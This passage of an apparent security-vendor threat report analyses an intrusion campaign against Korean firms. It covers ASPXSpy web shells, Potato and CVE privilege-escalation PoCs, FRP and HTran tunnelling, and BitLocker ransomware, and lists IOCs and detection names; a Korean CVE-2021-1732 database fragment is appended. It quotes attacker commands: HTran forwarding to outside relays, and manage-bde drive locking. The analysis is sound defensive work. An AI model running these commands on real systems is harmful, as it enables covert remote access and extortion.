attacks against vulnerable IIS web servers, the ASPX (ASP) web shell was used. ASPXSpy is the major ASPX Webshell and it has been verified that the hacker has used this web shell for multiple attacks. i. ASPXSpy ASPXSpy requires a password. After accessing the installed path, the correct password must be entered into the password field to enable the control panel as follows. (Note that the password is verified by comparing the MD5 hash values, and the above Webshell is where the hacker has changed the password and not the “admin”.) Hackers can perform various malicious acts in this panel including looking up information, creating files, and executing processes. 2. Privilege Escalation The uploaded web shell is executed by an IIS web server process or the w3wp.exe process. Generally, the w3wp.exe process has low-level privileges, and to perform normal levels of abuse, a higher level of privileges is necessary. Accordingly, hackers require a process of privilege escalation where various tools are used to obtain higher-level privileges. Hackers have usually used malware such as JuicyPotato and SweetPotato, and there has been a history of usage of other various LPE (Local Privilege Escalation) vulnerability PoCs. Here are the cases used in the privilege escalation process as follows. 2.1. Potato Potato is an open-source privilege escalation tool published on GitHub. It operates by abusing specific privileges from the tokens of the process account currently being run and provides the feature of escalating said privileges into system privileges. The w3wp.exe process is in charge of the web service in an IIS web server and in an MS-SQL server, the sqlservr.exe process is in charge of the MS-SQL service. For example, the w3wp.exe process runs with the IIS Apppool\DefaultAppPool as the parent, and in this case, unlike ordinary admin or normal user accounts, have limits performing a variety of actions including those involving processes and files. Even if hackers can control the processes through Web shells or prior attacks, they cannot perform the desired abuse, because they do not have the appropriate privilege. To perform the attack, privilege escalation is needed. Generally, the w3wp.ee process or the sqlservr.exe process has the SeAssignPrimaryToken or the SeImpersonate privilege. Most Potato tools abuse processes that have such SeAssignPrimaryToken or SeImpersonate privileges enabled and escalate them into one with system privileges, or the NTAUTHORITY\SYSTEM account. If this suceeds, the hacker can perform most malicious acts within the target system without restraint. There are many tools for privileged escalation of Potatoes, including JuicyPotato, RoguePotato, and RottenPotato among others. However, most cases identified in Korea were found to have been using three types of Potato tools. Types of Potato MD5 JuicyPotato 0311ee1452a19b97e626d24751375652 808502752ca0492aca995e9b620d507b 4bafbdca775375283a90f47952e182d9 BadPotato 9fe61c9538f2df492dff1aab0f90579f ab9091f25a5ad44bef898588764f1990 87e5c9f3127f29465ae04b9160756c62 SweetPotato fd0f73dd80d15626602c08b90529d9fd 937435bbcbc3670430bb762c56c7b329 [Table 1] Potato tools used in attacks 2.2. Vulnerabilities (Exploits) Aside from Potato form malware, infiltrators use various LPE (Local Privilege Escalation) PoC published on GitHub. The following are vulnerabilities exploited in attacks and the list of PoCs which exploit each vulnerability. Vulnerability Type MD5 Remarks CVE-2018-8440 LPE 4c56462a3735dba9ee5f132f670e3fb1 https://github.com/alpha1ab/Win2016LPE CVE-2019-1405 + CVE-2019-1322 LPE 2e2ddfd6d3a10d5dd51f8cbdeaeb4b75 6a60f718e1ecadd0e26893daa31c7120 https://github.com/apt69/COMahawk CVE-2021-1675 LPE e81a9b194cf1bcd4f1bbf21338840ece https://github.com/evilashz/CVE-2021-1675-LPE-EXP CVE-2021-1732 LPE d406d8889dc1f2d51954808f5587415d ed1762b09d0a966d7a2d6c9167ea5499 https://github.com/KaLendsi/CVE-2021-1732-Exploit CVE-2021-36934 LPE 055cc4c30260884c910b383bb81cf7c8 https://github.com/GossiTheDog/HiveNightmare CVE-2021-40449 LPE b08b660ed646c390d5a254070123c74c https://github.com/ly4k/CallbackHell CVE-2022-21882 LPE 018dd881f5bf9181b70f78d7d38bd62a https://github.com/sailay1996/cve-2022-21882-poc CVE-2022-21999 LPE 31eb70dc11af05ec4d5cda652396970c b77e3a7e13e39829383fabf436e9c8f2 (Payload) https://github.com/ly4k/SpoolFool [Table 2] Vulnerability PoC malware used in attacks The following is a PoC that abuses CVE-2021-1732 vulnerabilities to escalate privileges. After privilege escalation, it executes whoami which has been transmitted as a factor and as a result, it is identifiable whether privilege escalation to a system account has been successful. The following is a CVE-2022-21999 PoC that can load the designated DLL and run malware after privilege escalation. The DLL used in the attack is the same as the POC, and the DLL fulfills the role of creating an admin account and changing the password to Passw0rd!. In the future, attackers can use the account create for remote access and overtake the infected system. 3. Proxy & Port Forwarding 3.1. FRP FRP(Fast Reverse Proxy) is an open source tool formed with a mediating dummy to enable external access to an intranet PC that cannot be accessed directly. Because many companies separate networks or use firewalls to prevent unauthorized access to their networks, users should use tools such as FRP to directly access the PCs on internal network. On the other hand, hackers frequently use FRP to bypass the target PC (victim)’s firewall inbound rules and not leave the their address on the target PC. FRP is largely classified into 2 types, Frps and Frpc. Frps is a file installed in the intermediary server and fulfills the role of establishing the link between the hacker and target, and references ‘Frps.ini’ in its settings, and can be arbitrarily set by the user. This determines the connection port and logging methods. Thus Frps must be installed on an intermediary server which both the hacker and the target PC have access to. The process of FRP connections is as below. Frpc is a file installed on the attack target PC of the hacker. As similar to the Frps settings, Frpc allows arbitrary settings by the user through ‘Frpc.ini’ of the network communication method to be used by the hacker such as TCP, UDP or HTTP and the port number (remote_port) to be used in Frps and the actual port number (local_port). When used to abuse systems, it is normally installed on a corporate PC with a NAT environment that is not easily accessible externally. Looking at the above figure, Frps.exe is first installed on the relay device. Frps.exe references the Frps.ini settings file and opens the connection port (7000) to enable Frpc.exe to establish a connection. After the connection has been established, it runs Frpc.exe installed on the target PC and attempts to establish a connection with the relay device (Frps.exe) and here, the Reverse Proxy method is used to connect the hacker and the target PC indirectly. When the relay and target PCs are connected, the hacker attempts to connect with a certain protocol (RDP) to a specific port of the relay server (23389). After monitoring this particular port (no. 23389), the relay server transmits the corresponding data to the target PC through the connection port (no. 7000) after a connection has been detected. After receiving the data, the target PC forwards the data to a local port (no. 3389) that fits the protocol (RDP) and completes the operation. Thus, connection is possible as below. FRP tools were commonly used by hackers in ‘remote desktop connections’ and ‘masking attacker IP’. Remote desktop connection is a tool offered by baseline Windows, and refers to a method of connection using RDP communication to connect to a remote server and use it as if to use a local system. After the connection is established, the attacker IP is recorded as a log on the target PC and network device. However, FRP allows attackers to connect to the relay device and control the target PC. This allows masking the attacker IP in the PC. Attackers generally set the relay device location on the Korean corporate servers or international hosting servers. In case of the Korean corporate server that have been once infilterated, it is difficult to detect the attackers when they access the particular corporate PC due to the Korean relay device IP. Thus, hackers install Frpc on corporate PCs that cannot be directly accessed, and install Frps on a relay server located in Korea or overseas to establish a connection with the target PC and attempt RDP communication. The hacker group using FRP has the following characteristics. 1) Uses the same Frpc file name and path 2) Uses the Korean company’s Frpc download URL 3) Uses the Korean company server as the relay (Frps) server First, here are the Frpc installation paths identified in targeted Korean company systems. %ALLUSERSPROFILE%\update.exe %ALLUSERSPROFILE%\info.zip %ALLUSERSPROFILE%\f.zip %ALLUSERSPROFILE%\t.zip %ALLUSERSPROFILE%\frpc.exe %SystemDrive%\perflogs\update.exe %SystemDrive%\temp\update.exe %SystemDrive%\temp\info.zip %SystemRoot%\temp\frpc.exe [Table 3] The download path of the Frpc.exe often used by the attacker The parts highlighed in red above [Table 3] are file names found identically across multiple companies, and certain groups of attackers have usually installed Frpc files under the names update.exe (update.zip) or info.exe (info.zip). Also, in the case of Frpc download URLs, these have been found to have been abusing infiltrated servers of Korean companies. – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/info.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/update.zip – hxxp://www.ive***.co[.]kr/uploadfile/ufaceimage/1/f.zip [Table 4] Frpc download URL used by the attacker Besides these, the hackers have set even PCs that can be externally accessed through FRP, add seeing that the relay server program used in FRP (Frps) had been installed in particular Korean company systems, it is deemed that they are maintaining the connection by using Korean IP to avoid suspicion and also to mask their own IP. Thus it seems that the servers of Korean companies where Frps has been installed, are also overtaken by the hackers. Currently, two Korean companies are identified as of 2022 for having servers that have been used as relay servers. As can be seen in the figure below, the server identified as Remote IP is the relay server and has Frps installed on it, and the local IP on the left is the server with Frps that the hackers intend to control, and installed. The relay server can be connected as follows. 3.2. HTran(LCX) Port forwarding is a feature where data transmitted from a certain port is forwarded to another port. Tools that support such port forwarding include HTran which is a major tool that has been in use from the past, and because the source code for this is public, HTran is still being used by various hackers. Here are the brief information of HTran tool and the actual attacks performed by hackers. First, the following 3 modes are supported on HTran. Out of these, the “-tran” mode offers the feature of forwarding the transmitted data to a particular address. The following command line is the actually used command after the hackers generated HTran under the name rdpclip. For your reference, rdpclip has the options out of its factors removed by the hackers modifying the source code, and instead runs identification on the types of features using the count of factors. > %SystemRoot%\debug\rdpclip 110 127.0.0.1 3389 When it is run after receiving these factors, it binds to port 110 before forwarding them to the local port 3389 when the external hacker establishes a connection to port 110. Subsequently, when the hacker establishes a RDP connection to the infected system, instead of connecting to port 3389, they can connect to port 110 and use the remote desktop feature normally. The following is a test using rdpclip which was used in the attacks, and a command which forwards the local port 4444 and 80 was executed. In this case, even if one connects externally to the address “192.168.204.131:4444”, they will achieve the same results as connecting to the port “192.168.204.131:80”. Next, we have the “-listen” mode, where it receives 2 port numbers as factors and binds to each port while idling. If connections are established using both factors, the data received from one port is forwarded to the other port. Ordinarily, the “=listen” mode will be used alongside the “-slave” mode. The “-slave” mode is similar to the “-tran” mode, and if the “-tran” mode awaits connections after opening a particular port of the local system, the “-slave” mode connects directly to the designated address. The following is the same malware as above, with only the name changed to “p” and while the mode type is not transmitted as a factor, because the factor count is 4, is executed in “-slave” mode. When it is run after receiving these factors, it attempts a connection to the address A( 1**.**.***.*8 ):1000 , and when a connection is established, forwards to the local system’s port 3389. > p 1**.**.***.*8 1000 127.0.0.1 3389 In the system A:1000 , HTran would be running as follows in “-listen” mode (for example, the first factor is set to 80). Accordingly, the hacker accesses the A:80 address and is able to initiate RDP access on the target system. HTran, which was being run on A , forwards the data received from port 80 to port 1000 and this is because port 1000 is linked to the HTran which is in operation on the final target system. Finally, the HTran of the target system forwards the transmitted data to the local system’s 3389 port. > HTran.exe 1000 80 The following is another example. c.txt is the HTran and is a type without any particular modifications, and factors such as “-slave” are also used as-is. The HTran executed through the following command runs as a proxy between the addresses B( 1**.***.**.*3 ):443 and C (2**.***.**.6 ):1433 . Thus, by accessing a particular path of B , the attacker is able to access the MS-SQL server of system C:1433 or C . > %SystemDrive%\webdriver\chrome\c.txt -slave 1**.***.**.*3 443 2**.***.**.6 1433 4. Cases of Ransomware infection (BitLocker) Out of the cases identified so far, there are few ransomware infections by the hacker group mentioned above. The hacker group does not make new ransomware, but instead abuses Windows’ basic encryption program, BitLocker, to encrypt disks. BitLocker is a disk encryption tool provided and used by Windows, and is originally a tool used for disk security. This supports the command line method, and at its core, uses the command Manage-bde to enable the use of the BitLocker feature and when a drive is locked, a password is required to access it. The hackers encrypted using the following command. The password could be set in the GUI screen when entering the command below. (F: drive is an example) CMD> “C:\Windows\System32\BitLockerWizardElev.exe” F:\ T F: Encrypting the drive volume and entering the password to be used After setting a password for the drive, it disables access to the drive with a lock command as follows. CMD> manage-bde -lock -ForceDismount F: F: Locking the drive volume (access restricted) Thus, when the drive is locked, the user must know the password in order to access it. The Ransom Note used by hackers is as follows. In summary of the infiltration process of this case, the hackers scan and attempt attacks on vulnerable corporate PCs such as IIS web servers or MS Exchange servers that are externally accessible. Afterward, they use Webshell to access a part of the system and abuse Potato or Exploit tools that support privilege escalation, thereby obtaining system privileges. Then, in order to be able to control the system easier, they install LCX or FRP tools and sets it to be accessed externally via RDP before performing internal proliferation and the final stage (information extraction and ransomware installation). Accordingly. server managers must patch the server so that it is up to date and practice prevention of known vulnerabilities being exploited. Moreover, for externally open servers, security software must be used to restrict external access. [File Detection] – WebShell/Script.Generic (2020.12.11.09) – WebShell/ASP.ASpy.S1361 (2021.02.02.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) – WebShell/ASP.Small.S1378 (2021.02.24.02) – JS/Webshell (2011.08.08.03) – HackTool/Win.SweetPotato.R506105 (2022.08.04.01) – Exploit/Win.BadPotato.R508814 (2022.08.04.01) – HackTool/Win.JuicyPotato.R509932 (2022.08.09.03) – HackTool/Win.JuicyPotato.C2716248 (2022.08.09.00) – Exploit/Win.JuicyPotato.C425839(2022.08.04.01) – Exploit/Win.SweetPotato.C4093454 (2022.08.04.01) – Exploit/Win32.Consoler.R372759 (2021.03.18.00) – Exploit/Win.HiveNightmare.R433315 (2021.07.23.02) – Malware/Win64.Generic.C3164061 (2019.04.20.01) – Malware/Win64.Generic.C3628819 (2019.12.11.01) – Exploit/Win.Agent.C4448815 (2021.05.03.03) – Exploit/Win.CVE-2022-21999.C4963688 (2022.02.11.03) – Trojan/Win.Generic.C4963786 (2022.02.11.04) – Trojan/Win.Exploit.C4997833 (2022.03.08.01) – Ransomware/Win.CVE.C5065885(2022.04.11.01) – Exploit/Win.Agent.C5224192 (2022.08.17.00) – Exploit/Win.Agent.C5224193 (2022.08.17.00) – Unwanted/Win.Frpc.C5222534 (2022.08.13.01) – Unwanted/Win.Frpc.C5218508 (2022.08.03.03) – Unwanted/Win.Frpc.C5218510 (2022.08.03.03) – Unwanted/Win.Frpc.C5218513 (2022.08.03.03) – HackTool/Win.Frpc.5222544 (2022.08.13.01) – HackTool/Win.Frp.C4959080 (2022.02.08.02) – HackTool/Win.Frp.C5224195 (2022.08.17.00) – Unwanted/Win.Frpc.C5162558 (2022.07.26.03) – Malware/Win.Generic.C5173495 (2022.06.18.00) – HackTool/Win.LCX.C5192157 (2022.07.04.02) TAGGED AS:ASPXSPY, FRP , MALWARE, IIS, LCX, MS EXCHANGE, POTATO, PRIVILEGE ESCALATION MD5 018dd881f5bf9181b70f78d7d38bd62a 0311ee1452a19b97e626d24751375652 055cc4c30260884c910b383bb81cf7c8 07191f554ed5d9025bc85ee1bf51f975 1b562817eadfb12f527bf25bf5c803b1 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
자동 추천 장비와 근거 참고용
분류 체계(취약점 종류 CWE → 공격 유형 CAPEC → 공격 기법 ATT&CK) 매핑으로 계산한 후보입니다. 범위가 넓어 관련이 적은 장비가 섞입니다. 해당 장비가 이 공격을 탐지한다고 확인한 것은 아니며, 위의 '살펴볼 장비' 와 단계별 판정에는 쓰지 않습니다.
| 장비 | 방법 | 근거 경로 |
|---|---|---|
| 엔드포인트 탐지·대응 EDR | cwe | CWE-787 (직접 매핑) |
| 침입방지시스템 IPS | cwe | CWE-787 (직접 매핑) |
취약점 종류 CWE
- 범위 밖 쓰기 — CWE-787 Out-of-bounds Write
영향받는 제품 CPE · 9건
| 제조사 | 제품 | 영향받는 버전 | 표준 표기CPE |
|---|---|---|---|
| microsoft | windows_10_1803 | cpe:2.3:o:microsoft:windows_10_1803:-:*:*:*:*:*:*:* | |
| microsoft | windows_10_1809 | cpe:2.3:o:microsoft:windows_10_1809:-:*:*:*:*:*:*:* | |
| microsoft | windows_10_1909 | cpe:2.3:o:microsoft:windows_10_1909:-:*:*:*:*:*:*:* | |
| microsoft | windows_10_2004 | cpe:2.3:o:microsoft:windows_10_2004:-:*:*:*:*:*:*:* | |
| microsoft | windows_10_20h2 | cpe:2.3:o:microsoft:windows_10_20h2:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_1909 | cpe:2.3:o:microsoft:windows_server_1909:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_2004 | cpe:2.3:o:microsoft:windows_server_2004:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_2019 | cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:* | |
| microsoft | windows_server_20h2 | cpe:2.3:o:microsoft:windows_server_20h2:-:*:*:*:*:*:*:* |
참고 링크 7건
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/161880/Win32k-ConsoleControl-Offset-Confusion.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html
- 패치 · 제조사 권고 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/161880/Win32k-ConsoleControl-Offset-Confusion.html
- 공격 코드 · 제3자 권고 · 취약점 DB http://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html
- 패치 · 제조사 권고 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732
- 미국 정부 자료 https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-1732
용어 설명 CVE · CVSS · EPSS · KEV · NVD …
- CVE 취약점 번호
- 공개된 보안 취약점마다 붙는 국제 고유 번호입니다. 예: CVE-2021-44228(Log4j). 가운데 숫자는 번호를 받은 해입니다.
- CVSS 위험도 점수
- 취약점이 얼마나 위험한지 0~10점으로 매긴 국제 표준 점수입니다. 심각 9.0 이상 · 높음 7.0~8.9 · 중간 4.0~6.9 · 낮음 0.1~3.9. 공격이 얼마나 쉬운지와 피해 크기로 정하며, 실제로 공격받고 있는지는 반영하지 않습니다.
- EPSS 악용 가능성
- 앞으로 30일 안에 실제 공격에 쓰일 확률을 추정한 값(0~100%)입니다. 국제 보안 단체 FIRST 가 매일 계산합니다. 높을수록 먼저 조치하세요.
- KEV 실제 악용 확인
- 미국 사이버보안청(CISA)이 실제 공격에 쓰인 것을 확인한 취약점만 모은 목록입니다. 여기에 있으면 가장 먼저 조치할 대상입니다. '랜섬웨어' 표시는 랜섬웨어 공격에 쓰인 것으로 알려진 것입니다.
- 공격 코드 공개된 PoC
- NVD 참고 링크 중 '공격 코드(Exploit)' 표시가 붙은 것이 있다는 뜻입니다. 누구나 공격을 시도해 볼 수 있으므로 서두르는 게 좋지만, 실제 악용이 확인된 것(KEV)과는 다릅니다.
- NVD 미국 취약점 DB
- 미국 국립표준기술연구소(NIST)가 운영하는 취약점 데이터베이스입니다. CVE 마다 설명·CVSS 점수·영향받는 제품·취약점 종류를 붙입니다. 이 사이트 설명의 원문 출처입니다.
- 우선순위 이 사이트의 참고 점수
- CVSS·KEV·랜섬웨어·EPSS·ASEC 언급·공격 코드 공개를 합쳐 계산한 점수입니다. 높을수록 먼저 살펴보세요. 공식 점수가 아닙니다.
- ASEC 안랩 분석 글
- 안랩 보안대응센터 블로그입니다. 'ASEC 3' 은 분석 글에 그 CVE 번호가 3번 나왔다는 뜻이며, 국내에서 악용이 확인됐다는 뜻은 아닙니다.
- CWE 취약점 종류
- 취약점 종류의 분류 번호입니다. 예: CWE-89 SQL 인젝션, CWE-79 크로스 사이트 스크립팅.
- CPE 영향받는 제품
- 취약점이 있는 제품과 버전을 적는 표준 표기입니다. 예: apache:tomcat 9.0.0~9.0.80.
- KB Microsoft 업데이트 번호
- Microsoft 가 업데이트마다 붙이는 번호입니다. 예: KB5068791. '수정된 버전' 은 업데이트 후의 빌드 번호로, 이보다 낮으면 업데이트가 필요합니다.
- 시나리오 · 번역
- '시나리오' 는 단계별 판정 초안이 있다는 표시입니다(없다고 안전한 것은 아닙니다). '(번역)' 은 Claude 로 기계 번역한 설명입니다.